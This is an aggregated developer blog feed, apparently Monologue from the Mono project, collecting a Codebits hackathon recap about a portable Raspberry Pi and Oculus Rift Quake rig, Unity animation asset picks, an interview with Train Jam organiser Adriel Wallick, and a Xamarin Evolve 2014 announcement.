It was awesome fun, as it usual is, even though I spent a lot of time cursing at SD cards, and the Pew Pew Pew! project, which I did with Bruno Rodrigues, didn't end up fulfilling all its goals. The portability was the primary goal - getting a Raspberry Pi connected to the Oculus Rift and both feeding off a portable USB battery so that the whole thing could be stuffed in pockets and the user could have freedom of movement without worrying that he might drag a laptop with him if he turned too much or moved too far.
Bruno killing some critters with the Raspberry and the Oculus control module in his pockets
It turns out that the Oculus sucks so little power that the USB batteries we had would turn off because they thought they weren't in use... So instead of using two batteries - one for the Raspi and one for the Oculus - we used one for both, so that the Raspi would ensure that the battery would not turn off.

We managed to get the whole thing portable and Quake compiled on the Raspberry before the SD card troubles started and killed off the remainder of our schedule, where we ended up spending most of the time replacing cards, reinstalling Raspbian and trying to get things up and running again. We did manage to do a presentation in the end to show off the concept, Bruno going up on stage, pockets stuffed with cables and boxes, to show off the rig fully portable and running. So now you can guess what I'm going to be working on for the next few days ;)



Congratulations are in order to everyone at the organization for putting together another amazing event, and to everyone that managed to pull together a project while being constantly distracted by all the awesome stuff going on around them! And a special congrats to the Nelo team for pulling off such an amazing idea and stealing the show! Now I wish I were in Portugal more often to play with the Bee 3D printer that they won :-P



Update: A lot of other things happened at Codebits, to wit: RiftCycles (http://fb.me/32NIS6Jfw), Nuclear Chili experience (http://www.youtube.com/watch?v=khXNcgwI0ic), talks and workshops, Presentation Karaoke (where you have no idea what the next slide is going to have), the Amazing Quiz Show (wherein we learn what 2002::/32 is), Retrocomputing (where a bunch of people have fun with old consoles and computers, including my ZX Spectrum), and so much more!

April 10

Assets for Animation Awesomeness

We are so proud of Mecanim, Unity’s super flexible animation system. But we’re equally in awe of all the amazing work that the Asset Store publishers put in, so that you as a developer can just drag and drop to get your characters moving.

They capture all imaginable movements, from breakdancing, throwing enchantments or swinging a katana to sitting and drinking coffee. We picked a few assets that are really well-rated and popular among their users, but could use a little extra attention. Browse these hidden treasures to find new ways to get your game moving faster and cheaper!

Proportional Studios – Props Animations

This is a must have, if your game has any moving characters, which, let’s face it, it probably has. It has over 470 animations to date and if what you need isn’t in there, the publisher will add it to the asset at no extra costs. Proportional Studios are really a bunch of proper pros – the reviews point out that the support goes out of its way to help you get the most of this package.

props

Kubold – Movement Animset Pro

A set of high quality motion capture animations, optimized for seamless third person perspective character movement. You need to have a good idea about scripting and mecanim in general, but if you have the basics covered, this is the asset that will help you level up. Have fun with the demo below!

Mister Necturus – Soldier Animation Collection

Get a full model of a soldier with 54 animation clips to get him moving and shooting exactly the way you want. Includes Root motion data used by Mecanim.

Gear Worx Productions – FPS Character Animation Pack

This is a really comprehensive package of movements that covers all possible shooting/running/climbing combos. It has a sample character, which shows initial setup for weapon placement and joint hierarchy. Plus it’s super neatly organized. Altogether, it will save you a ridiculous amount of time that you can instead spend making your shooter into something special.

McAnimation – Survival Shooter Animation Pack

Surviving is hard. Making a survival shooter game even harder. So why don’t you make your game dev work and your life in general easier by getting a great package of animations along with a handy “Getting Started” doc and an overview of frame-ranges?

Train Jam 2014

     On March the 13th, 60 developers embarked on a 52 hour train ride from Chicago to San Francisco with the goal of making awesome games. I chatted with Train Jam organiser, Adriel Wallick, about her experiences in planning and conceiving the game jam, how it all panned out and how it compared to the infamous GAME_JAM in LA just a couple of weeks after.

    If you are interested in seeing the games produced during the jam, please head over to the Train Jam website and check them out!

So how did you get into games and what was your inspiration for the Train Jam?

I guess long story short, I am Adriel. I used to not make games, When I first started working I worked on satellites. I worked on the next generation of weather satellites that will be going up to the sky for the United States and then once I decided that wasn’t nearly cool enough for me, I wanted to switch over to games. So I started learning how to make games on the side and started going to developer meetups in Boston.

I finally got hired into my first video game job at Firehose games, where I did a lot of programming on Rock Band Blitz. After that, I moved over to a smaller commission company that did a lot of non original IP. Then I went full indie to start working on my own stuff.

Not long after, I also realized I didn’t want to live anywhere anymore. So I packed up all my stuff into a storage unit and then I got on a train that I took across the United States which is sort of where the idea of Train Jam came from. I did that by myself and once I started telling people about it, everybody was like “Oh you should get a bunch of people onto a train and make a train jam” So I did.

Adriel Wallick

So the origin of the Train Jam is based on the decision to leave the house and live on the road?

Yeah, I like to say that I hopped on a train out west like they did back in the day, when you got in a wagon to go out west and leave everything behind.

So a bit like The Oregon Trail?

A little bit, but a lot less dysentery than The Oregon Trail (laughing).

In terms of Unity, are you a Unity Developer? Do you use other tools?

I pretty much exclusively use Unity. It was the first tool that I really started playing around with when I wanted to start making games, way back in 2010, maybe 2011. So I downloaded it and essentially thought: “Ok what can I make that is 3d and will teach me how to use Unity”. I decided for some reason that Tetris would be a really good game to turn into 3d. I sat down for like a week and made a really awful, awful version of 3d Tetris. I had learned the basics of it and since then, I pretty much use Unity for all my projects.

Cool, so the Train Jam was born through your traveling and “Nomadic” lifestyle, but how did it grow? as I understand it this is your first ever game jam that you organized?

Yes, it’s the first one I ever put together and it was such a weird concept for a jam that I wasn’t really sure how people would react to it. So I looked into how Amtrak group reservations work and made a group reservation for 30 people. Later I got my friend Ryan Burrel, who does the megabooth website, to help me make a better website than the one I originally made. I hooked it up to Eventbrite and put the idea out there and all of a sudden, not even a month later, all the tickets were sold out.

Train

So I guess it was an idea that people actually liked! That is when I looked at getting twice as many tickets. I also wanted to get a lunch together so people would be able to meet each other beforehand since nobody knew each other. I had buttons with little meters of fun and all sorts of sponsorships. Then it sort of snowballed from there.

It’s interesting to see how someone who has no experience in setting up a jam has managed to create such a huge thing.

I was really surprised by that! I think it’s because it was such a weird idea. I have a little bit of experience organizing things because I used to help Kelly do the megabooth. One of the big things I took away from watching other people organize is that you just keep asking people for things and every now and then someone will say yes (laughter). I knew a lot of people supported jams in the form of licenses which is why I reached out to Unity and I also reached out to yoyo games for game maker ones. Once I realised I had actually sort of put myself financially in the hole, I thought hey, maybe people want to sponsor this, So I just asked and a lot of people said no and then a few people said yes.

So you are planning on doing another Train Jam next year, what are your thoughts going into that, what would you advise your pre-Train Jam 2014 self?

When I first started planning I didn’t think about the fact that I needed everybody’s legal names, not just nicknames. Also being more aware of random fees on Eventbrite and Paypal, would probably be a good idea.

Traininside

So you had problems with unexpected fees? How did that pan out?

Yeah, I didn’t really think about the fact that a percentage of the ticket fees would be going to both PayPal and Eventbrite. On something of this magnitude, this ended up being a significant amount of money. It was a bummer mostly because I wanted to be able to afford fun things for the participants, such as snacks and whatnot.

Luckily, through securing some sponsorship, I was not only able to buy a pre-jam lunch, snacks, coffee, and soda, but also refund myself the money that went towards all of those fees. Basically I was able to not be in the hole by running Train Jam. One thing that I want to do next year is to make it bigger. Maybe get a whole coach class car instead of half a coach class car. Also secure a bit more sponsorship because I really want to make it a lot more accessible for other developers. Especially for younger developers, people who are just starting out or people who are struggling financially.

One of the only things that had a point of contention with Amtrak was that we took that entire thing over and other passengers got annoyed. So what I really want to do is somehow convince Amtrak to slap another observation car onto the train. In my head it is just as easy as putting on another car, but I am not a train conductor.

So what about the games that were made and the stuff that people were doing, what were your highlights from that would you say?

There was a lot of really cool ones, I actually still don’t have all of them. If you go to the Train Jam website, I think there are like 17 games up there. But the really nice thing is the wide variety of games that ended up being produced. I mean we had things from mobile, cooperative games to competitive games, to a procedurally generated game based on the audio and visual input from the train, to platformers, to one game that Rami made, where he had to strap an iPad to his back and attack it, which he could only playtest at the station stops, because he had to get out of the train to test it. So we had a whole wide variety of games which I thought was really really cool. Its hard to pick one highlight because they are all so different.

So I guess the advice is to go and play them!

Fun-O-MeterPretty much, every one that I have up there you can either play online or download. So you should be able to play them, there are some that are PC only and some that are Mac only. The majority of them were made in Unity.

It’s interesting the way that has occurred. I think, at least from my perspective, even before I was working at Unity and was going to game jams and using Unity as a developer. I think just the rapid workflow lends itself to not having much time!

Yeah, thats the thing. I am familiar enough with it now that I can make something very very quickly in it. So I think that especially with a Jam where you have not as much time to fiddle with new technology, if you already know Unity, then you are going to use Unity. That’s just how it works.

It was amazing with the IndieCade Oculus VR Jam where a crazy high percentage of the projects were built in Unity.

We actually had an Oculus game on Train Jam that somebody developed, which I thought was insane and I really thought would make people throw up, but nobody did. There was a really nice little moment when one of the Amtrak employees came by and asked us how the game was going. So we sat her down and plopped it on her head and opened up the demo where you go to Tuscany. For the whole rest of the trip she kept talking about that one time she went to Tuscany.

rocky

I guess the next question is not quite so fun because its about what happened post GDC with a different game jam, known as the Game_Jam

Yeah, that was so weird. I had heard about if before and I knew a few my friends were doing it, because I know Zoe and Robin were both leading up teams. Robin asked me if wanted to be a part of his team and I thought OK, I have nothing else to do between GDC and PAX, why not go down to LA and do this. It was supposed to be a Jam that was filmed and released on YouTube in a semi-reality show style. The description was more Top Chef style, it won’t be “Real Housewives of Game Development”. Then 3 days before we were set to go there, they finally sent the contracts for us to look at. The contracts were just… there was just awful stuff in the contracts. It was basically a bunch of stuff about how we wouldn’t be able to represent ourselves on YouTube videos or they could misrepresent us for dramatic effect. It was all very “boilerplate” but it was bad boilerplate. A lot of us as indie developers are the sole face of our companies, so if we can’t go on YouTube, like a Lets Play or Giant Bomb or something like that, that is detrimental to our entire career.

So we started fighting back on that and at that point it started the whole thing on a weird note, because we were very wary of the intense corporate-ness of how it started to turn out. So they started re-wording the contract and we were assured via email that nothing weird would be happening and they just want to show what game development is like.

Trainsnow

When we got there, the corporate sponsorship was over the top, the environment was weird, it was very much a game show/reality show/contest feeling. Which in itself was enough to make me think: “Oh god this is awful what am I doing here”. Then they started playing the sexist angle up, asking my team if they had an advantage because of a pretty lady on the team and asking the male teams if we had a disadvantage because we were women. That was the point when we all just walked off and left and shut the entire production down. Which was sort of a nice feeling after all that but it was this weird dichotomy between the game jam that I had run, that was basically everything I pictured game jams to be and the spirit that I feel Game Jams entail. Then two weeks later I’m in this environment, where it’s just everything wrong with how people view game development. It was just such an awful difference between where I was two weeks ago and where I was then and it was really not good.

It seems like a real shame in a way, because I think telling the story of how game jams work is important. There have been a lot of people working on projects to do that, at least through the medium of film.

    That was one of the really cool things about Train Jam, and I didn’t think about this before Train Jam happened, but we did a game jam entirely in the public space. We were in a train and we probably didn’t take up half of the people who were on it. So there were all these people who didn’t even really have an interest in games who were all of a sudden exposed to how games are made. I had a lot of people asking me and the participants what they were doing and then engaging with them, figuring out how games are made and appreciating the insight into something they don’t understand. It was really nice to be able to show people that, people who wouldn’t have sought out that information before. It was great to show them this nice indie, collaborative spirit that we all have going on. Then to go to this other jam where they basically wanted to play up a stereotypical view of how we all are was such a shame. There are people out there who are interested in how games are actually made without all this hullabaloo around it.

Yeah I think things like Indie Game the movie and coming up the Super Game Jam

The producers of GAME_JAM were saying that they wanted to create something that showed people how to do game jams, so I said why don’t you check out Super Game Jam and emulate what they are doing. That is what game development is, not this crap hole.

Since then, a few of us have been talking about starting up a different jam, mostly Zoe has been heading it up, where we just get some Go-Pros, rent out an AirBnB and film it that way, then release it to the world. Which I think would be really nice. Making a game is dramatic enough as it is, you don’t need this weird extra crap that they were trying to push onto us that is fabricated. I mean there is already going to be enough personal conflicts and drama of putting yourself into something. So I think it would still make for pretty entertaining media to just film what a game jam actually is.

So it would be more of a documentary than a game show.

Even on Train Jam, which was nice and collaborative, there were still inter-team conflicts, you know, dealing with different viewpoints and different styles of things and people being exhausted and tired and edgy. There were a few tiffs here and there, so there is still entertainment value to be had if they are looking for drama.

GoogleSearch

It’s not the best environment to be pushing extra elements in, because ultimately everyone is already pretty exhausted and on the edge already.

For Train Jam we had a camera crew there, we had the Polygon crew there and a person from the Game Loading documentary and I am sure they caught lots of drama and they didn’t have to really incite anything.

It was definitely a shame the way the GAME_JAM panned out, but it was a really nice thing to see the community come together. It was sort of indicative of I think the change that is happening, especially for females in the industry, where Zoe and me were uncomfortable and said we were leaving and people supported us 100% and left with us. Which I thought was really nice and then on Monday when we all pushed our stories of what had happened live, I got nothing but support from the entire internets. Which was amazing, I was really nervous about it, because it’s the first time I’ve really made myself vulnerable on the internet and I got all positive things of saying “Thankyou, thankyou for what you did”. All positive except that everyone hates my website apparently, the pink background is offensive to everybody’s eyes (laughter)

Ok so bearing in mind everything you have learnt from the two jams, what is the one key takeaway that you would want to tell somebody else who is organising their first game jam?

I would definitely say, if you planning on making a jam, try and be aware of making an environment where everyone feels comfortable to be creative. That is one of the biggest points of a game jam, that you are doing this in a short amount of time to try something new. Get a creative thing going with people you may or may not have worked with or even met before. If you are in an environment that you are no longer comfortable, it is hard to also be creative.

I’d like to thank Adriel Wallick for taking the time out of her schedule to talk about the two jams and also to Mark Backler for allowing me to use his pictures from the Train Jam.

Xamarin Evolve 2014 Registration Now Open

Untitled-1We are very excited to announce the opening of registration for Xamarin Evolve 2014, our worldwide developer conference! Join us and fellow developers from October 6-10 in Atlanta, Georgia for the largest cross-platform mobile development event of the year!

Even Bigger!

This year, we’re doubling capacity and adding an extra day of conference sessions to make room for more great content covering mobile development with C#, Visual Studio, and Xamarin Test Cloud. Evolve sessions will cover a range of topics, including game-changing Xamarin product announcements by Nat and Miguel, best practices in mobile user experience design, advanced cross-platform techniques, memory management, real world app case studies from leading companies, secure data integration, lightning talks and so much more.

World-Class Training

Xamarin University LogoAttend two days of training from Xamarin University spanning all topics from mobile development fundamentals to advanced areas such as security and code-sharing strategies.

Learn from Mobile Experts

Over the course of three days you will have the chance to attend an immense amount of live sessions covering all areas of mobile development by industry leaders and experts. The entire Xamarin engineering team will be on-hand for one-on-one mobile coaching to answer questions, debug code, and provide advance.

Xamarin Evolve Welcomes Top Sponsor, Microsoft

We are also delighted to announce today that Microsoft will be joining Evolve 2014 again as our sole Platinum Sponsor. In recent months, Xamarin and Microsoft have partnered globally to help developers build great apps with C#, Visual Studio, and Portable Class Libraries, and this past week, Xamarin joined with Microsoft to launch the .NET Foundation. Together, Xamarin and Microsoft bring C# to 2.6 billion devices, and together we will make Xamarin Evolve 2014 an event you won’t forget.

MicrosoftSponsorEvolve2014

Registration Now Open

Tickets for Xamarin Evolve 2014 our second worldwide developer conference, are officially available for purchase today.

Register Now

Team Xamarin

Monologue

Monologue is a window into the world, work, and lives of the community members and developers that make up the Mono Project, which is a free cross-platform development environment used primarily on Linux.

If you would rather follow Monologue using a newsreader, we provide the following feed:

RSS 2.0 Feed

Monologue is powered by Mono and the Monologue software.

Bloggers